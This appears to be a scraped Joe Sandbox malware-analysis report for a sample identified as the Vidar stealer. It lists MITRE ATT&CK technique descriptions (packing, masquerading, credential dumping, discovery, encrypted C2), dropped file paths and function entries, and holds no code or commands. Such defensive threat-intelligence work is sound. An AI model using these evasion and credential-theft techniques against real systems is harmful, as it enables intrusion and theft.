Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\HIEBAKEHDHCA\AAAKEB

C:\ProgramData\HIEBAKEHDHCA\ECGDAA

C:\ProgramData\HIEBAKEHDHCA\EGCGHC

C:\ProgramData\HIEBAKEHDHCA\GDBFCG

C:\ProgramData\HIEBAKEHDHCA\GDHCGD

C:\ProgramData\HIEBAKEHDHCA\GIJDAF

C:\ProgramData\HIEBAKEHDHCA\HDBGHD

C:\ProgramData\HIEBAKEHDHCA\HDBGHD-shm

C:\ProgramData\HIEBAKEHDHCA\IEHDBG

C:\ProgramData\HIEBAKEHDHCA\IEHDBG-shm

Windows Analysis Report
file.exe

Function 00A81FE0 Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 433
memoryCOMMON

Function 00A9A39E Relevance: .0, Instructions: 22
COMMONLIBRARYCODE

Function 00A95C98 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Function 00A98B7C Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Function 00A90C0A Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Function 00A9A0F8 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Function 00A960B6 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre